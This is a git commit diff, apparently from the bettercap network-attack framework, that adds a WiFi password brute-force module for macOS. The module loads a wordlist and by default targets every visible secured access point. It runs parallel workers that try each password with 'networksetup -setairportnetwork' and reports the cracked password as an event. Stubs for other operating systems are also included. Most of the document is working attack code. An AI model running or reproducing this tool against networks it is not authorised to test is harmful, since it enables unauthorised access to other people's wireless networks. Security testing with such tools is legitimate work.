new: implemented wifi.bruteforce for darwin (ref #1075)

This commit is contained in:
Simone Margaritelli 2024-08-18 13:44:12 +02:00
commit 08da91ed5c
7 changed files with 382 additions and 7 deletions

View file

@ -132,6 +132,16 @@ func (mod *EventsStream) viewWiFiDeauthEvent(output io.Writer, e session.Event)
deauth.RSSI)
}
func (mod *EventsStream) viewWiFiBruteforceEvent(output io.Writer, e session.Event) {
success := e.Data.(wifi.BruteforceSuccess)
fmt.Fprintf(output, "[%s] [%s] target='%s' password='%s' auth_in=%v\n",
e.Time.Format(mod.timeFormat),
tui.Green(tui.Bold(e.Tag)),
tui.Bold(success.Target),
tui.Bold(success.Password),
success.Elapsed)
}
func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
if strings.HasPrefix(e.Tag, "wifi.ap.") {
mod.viewWiFiApEvent(output, e)
@ -143,6 +153,8 @@ func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
mod.viewWiFiHandshakeEvent(output, e)
} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
mod.viewWiFiClientEvent(output, e)
} else if e.Tag == "wifi.bruteforce.success" {
mod.viewWiFiBruteforceEvent(output, e)
} else {
fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
}

View file

@ -29,6 +29,7 @@ type WiFiModule struct {
session.SessionModule
iface *network.Endpoint
bruteforce *bruteforceConfig
handle *pcap.Handle
source string
region string
@ -73,6 +74,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
mod := &WiFiModule{
SessionModule: session.NewSessionModule("wifi", s),
iface: s.Interface,
bruteforce: NewBruteForceConfig(),
minRSSI: -200,
apTTL: 300,
staTTL: 300,
@ -119,6 +121,44 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
return mod.Stop()
}))
mod.AddParam(session.NewStringParameter("wifi.bruteforce.target",
mod.bruteforce.target,
"",
"One or more comma separated targets to bruteforce as ESSID or BSSID. Leave empty to bruteforce all visibile access points."))
mod.AddParam(session.NewStringParameter("wifi.bruteforce.wordlist",
mod.bruteforce.wordlist,
"",
"Wordlist file to use for bruteforcing."))
mod.AddParam(session.NewIntParameter("wifi.bruteforce.workers",
fmt.Sprintf("%d", mod.bruteforce.workers),
"How many parallel workers. WARNING: Some routers will ban multiple concurrent attempts."))
mod.AddParam(session.NewBoolParameter("wifi.bruteforce.wide",
fmt.Sprintf("%v", mod.bruteforce.wide),
"Attempt a password for each access point before moving to the next one."))
mod.AddParam(session.NewBoolParameter("wifi.bruteforce.stop_at_first",
fmt.Sprintf("%v", mod.bruteforce.stop_at_first),
"Stop bruteforcing after the first successful attempt."))
mod.AddParam(session.NewIntParameter("wifi.bruteforce.timeout",
fmt.Sprintf("%d", mod.bruteforce.timeout),
"Timeout in seconds for each association attempt."))
mod.AddHandler(session.NewModuleHandler("wifi.bruteforce on", "",
"Attempts to bruteforce WiFi authentication.",
func(args []string) error {
return mod.startBruteforce()
}))
mod.AddHandler(session.NewModuleHandler("wifi.bruteforce off", "",
"Stop previously started bruteforcing.",
func(args []string) error {
return mod.stopBruteforce()
}))
mod.AddHandler(session.NewModuleHandler("wifi.clear", "",
"Clear all access points collected by the WiFi discovery module.",
func(args []string) error {
@ -137,7 +177,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
mod.stickChan = ap.Channel
return nil
}
return fmt.Errorf("Could not find station with BSSID %s", args[0])
return fmt.Errorf("could not find station with BSSID %s", args[0])
}))
mod.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
@ -420,7 +460,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
return err
} else {
if f := network.Dot11Chan2Freq(ch); f == 0 {
return fmt.Errorf("%d is not a valid wifi channel.", ch)
return fmt.Errorf("%d is not a valid wifi channel", ch)
} else {
freqs = append(freqs, f)
}

View file

@ -0,0 +1,266 @@
package wifi
import (
"bufio"
"errors"
"fmt"
"os"
"sync/atomic"
"time"
"github.com/bettercap/bettercap/v2/network"
"github.com/evilsocket/islazy/async"
"github.com/evilsocket/islazy/ops"
"github.com/evilsocket/islazy/str"
)
var (
errRecon = errors.New("turn off wifi.recon first")
errAlreadyRunning = errors.New("bruteforce already running")
errNotRunning = errors.New("bruteforce not running")
)
type bruteforceJob struct {
running *atomic.Bool
done *atomic.Uint64
iface string
essid string
password string
timeout time.Duration
}
type BruteforceSuccess struct {
Iface string
Target string
Password string
Elapsed time.Duration
}
type bruteforceConfig struct {
running atomic.Bool
queue *async.WorkQueue
done atomic.Uint64
todo uint64
target string
wordlist string
workers int
timeout int
wide bool
stop_at_first bool
passwords []string
targets []string
}
func NewBruteForceConfig() *bruteforceConfig {
return &bruteforceConfig{
wordlist: "/usr/share/dict/words",
passwords: make([]string, 0),
targets: make([]string, 0),
workers: 1,
wide: false,
stop_at_first: true,
timeout: 10,
queue: nil,
done: atomic.Uint64{},
todo: 0,
}
}
func (bruteforce *bruteforceConfig) setup(mod *WiFiModule) (err error) {
if bruteforce.running.Load() {
return errAlreadyRunning
} else if err, bruteforce.target = mod.StringParam("wifi.bruteforce.target"); err != nil {
return err
} else if err, bruteforce.wordlist = mod.StringParam("wifi.bruteforce.wordlist"); err != nil {
return err
} else if err, bruteforce.workers = mod.IntParam("wifi.bruteforce.workers"); err != nil {
return err
} else if err, bruteforce.timeout = mod.IntParam("wifi.bruteforce.timeout"); err != nil {
return err
} else if err, bruteforce.wide = mod.BoolParam("wifi.bruteforce.wide"); err != nil {
return err
} else if err, bruteforce.stop_at_first = mod.BoolParam("wifi.bruteforce.stop_at_first"); err != nil {
return err
}
// load targets
bruteforce.targets = make([]string, 0)
if bruteforce.target == "" {
// all visible APs
for _, ap := range mod.Session.WiFi.List() {
if !ap.IsOpen() {
target := ap.ESSID()
if target == "<hidden>" || target == "" {
target = ap.BSSID()
}
bruteforce.targets = append(bruteforce.targets, target)
}
}
} else {
bruteforce.targets = str.Comma(bruteforce.target)
}
nTargets := len(bruteforce.targets)
if nTargets == 0 {
return fmt.Errorf("no target selected with wifi.bruteforce.target='%s'", bruteforce.target)
}
mod.Info("selected %d target%s to bruteforce", nTargets, ops.Ternary(nTargets > 1, "s", ""))
// load wordlist
bruteforce.passwords = make([]string, 0)
fp, err := os.Open(bruteforce.wordlist)
if err != nil {
return err
}
defer fp.Close()
scanner := bufio.NewScanner(fp)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
line := str.Trim(scanner.Text())
if line != "" {
bruteforce.passwords = append(bruteforce.passwords, line)
}
}
mod.Info("loaded %d passwords from %s", len(bruteforce.passwords), bruteforce.wordlist)
mod.Info("starting %d workers ...", mod.bruteforce.workers)
bruteforce.queue = async.NewQueue(mod.bruteforce.workers, mod.bruteforceWorker)
bruteforce.running.Store(true)
return
}
func (mod *WiFiModule) bruteforceWorker(arg async.Job) {
job := arg.(bruteforceJob)
defer job.done.Add(1)
mod.Debug("got job %+v", job)
if job.running.Load() {
start := time.Now()
if authenticated, err := wifiBruteforce(mod, job); err != nil {
mod.Error("%v", err)
// stop on error
job.running.Store(false)
} else if authenticated {
// send event
mod.Session.Events.Add("wifi.bruteforce.success", BruteforceSuccess{
Elapsed: time.Since(start),
Iface: job.iface,
Target: job.essid,
Password: job.password,
})
if mod.bruteforce.stop_at_first {
// stop if stop_at_first==true
job.running.Store(false)
}
}
}
}
func (mod *WiFiModule) showBruteforceProgress() {
progress := 100.0 * (float64(mod.bruteforce.done.Load()) / float64(mod.bruteforce.todo))
mod.State.Store("bruteforce.progress", progress)
if mod.bruteforce.running.Load() {
mod.Info("[%.2f%%] performed %d of %d bruteforcing attempts",
progress,
mod.bruteforce.done.Load(),
mod.bruteforce.todo)
}
}
func (mod *WiFiModule) startBruteforce() (err error) {
var ifName string
if mod.Running() {
return errRecon
} else if err = mod.bruteforce.setup(mod); err != nil {
return err
} else if err, ifName = mod.StringParam("wifi.interface"); err != nil {
return err
} else if ifName == "" {
mod.iface = mod.Session.Interface
ifName = mod.iface.Name()
} else if mod.iface, err = network.FindInterface(ifName); err != nil {
return fmt.Errorf("could not find interface %s: %v", ifName, err)
} else if mod.iface == nil {
return fmt.Errorf("could not find interface %s", ifName)
}
mod.Info("using interface %s (%s)", ifName, mod.iface.HwAddress)
mod.bruteforce.todo = uint64(len(mod.bruteforce.passwords) * len(mod.bruteforce.targets))
mod.bruteforce.done.Store(0)
mod.Info("bruteforce running ...")
go func() {
go func() {
if mod.bruteforce.wide {
for _, password := range mod.bruteforce.passwords {
for _, essid := range mod.bruteforce.targets {
if mod.bruteforce.running.Load() {
mod.bruteforce.queue.Add(async.Job(bruteforceJob{
running: &mod.bruteforce.running,
done: &mod.bruteforce.done,
iface: mod.iface.Name(),
essid: essid,
password: password,
timeout: time.Second * time.Duration(mod.bruteforce.timeout),
}))
}
}
}
} else {
for _, essid := range mod.bruteforce.targets {
for _, password := range mod.bruteforce.passwords {
if mod.bruteforce.running.Load() {
mod.bruteforce.queue.Add(async.Job(bruteforceJob{
running: &mod.bruteforce.running,
done: &mod.bruteforce.done,
iface: mod.iface.Name(),
essid: essid,
password: password,
timeout: time.Second * time.Duration(mod.bruteforce.timeout),
}))
}
}
}
}
}()
for mod.bruteforce.running.Load() && mod.bruteforce.done.Load() < mod.bruteforce.todo {
time.Sleep(time.Second * time.Duration(mod.bruteforce.timeout))
mod.showBruteforceProgress()
}
if mod.bruteforce.done.Load() == mod.bruteforce.todo {
mod.Info("bruteforcing completed")
} else {
mod.Info("bruteforcing stopped")
}
}()
return nil
}
func (mod *WiFiModule) stopBruteforce() error {
if !mod.bruteforce.running.Load() {
return errNotRunning
}
mod.Info("stopping bruteforcing ...")
mod.bruteforce.running.Store(false)
return nil
}

View file

@ -0,0 +1,44 @@
package wifi
import (
"errors"
"os/exec"
"time"
"github.com/bettercap/bettercap/v2/core"
"github.com/evilsocket/islazy/async"
)
// networksetup -setairportnetwork interface 'network name' 'password'
func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
networksetup, err := exec.LookPath("networksetup")
if err != nil {
return false, errors.New("could not find networksetup in $PATH")
}
args := []string{
"-setairportnetwork",
job.iface,
job.essid,
job.password,
}
type result struct {
auth bool
err error
}
if res, err := async.WithTimeout(job.timeout, func() interface{} {
start := time.Now()
if output, err := core.Exec(networksetup, args); err != nil {
return result{auth: false, err: err}
} else {
mod.Debug("%s %v : %v\n%v", networksetup, args, time.Since(start), output)
return result{auth: output == "", err: nil}
}
}); err == nil && res != nil {
return res.(result).auth, res.(result).err
}
return false, nil
}

View file

@ -0,0 +1,7 @@
package wifi
import "errors"
func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
return false, errors.New("TODO")
}

View file

@ -0,0 +1,10 @@
//go:build windows || freebsd || netbsd || openbsd
// +build windows freebsd netbsd openbsd
package wifi
import "errors"
func wifiBruteforce(_ *WiFiModule, _ bruteforceJob) (bool, error) {
return false, errors.New("not supported on this OS")
}

View file

@ -181,7 +181,7 @@ func (mod *WiFiModule) doSelection() (err error, stations []*network.Station) {
if ap, found := mod.Session.WiFi.Get(mod.ap.HwAddress); found {
stations = ap.Clients()
} else {
err = fmt.Errorf("Could not find station %s", mod.ap.HwAddress)
err = fmt.Errorf("could not find station %s", mod.ap.HwAddress)
return
}
} else {
@ -315,10 +315,6 @@ func (mod *WiFiModule) showStatusBar() {
}
func (mod *WiFiModule) Show() (err error) {
if mod.Running() == false {
return session.ErrAlreadyStopped(mod.Name())
}
var stations []*network.Station
if err, stations = mod.doSelection(); err != nil {
return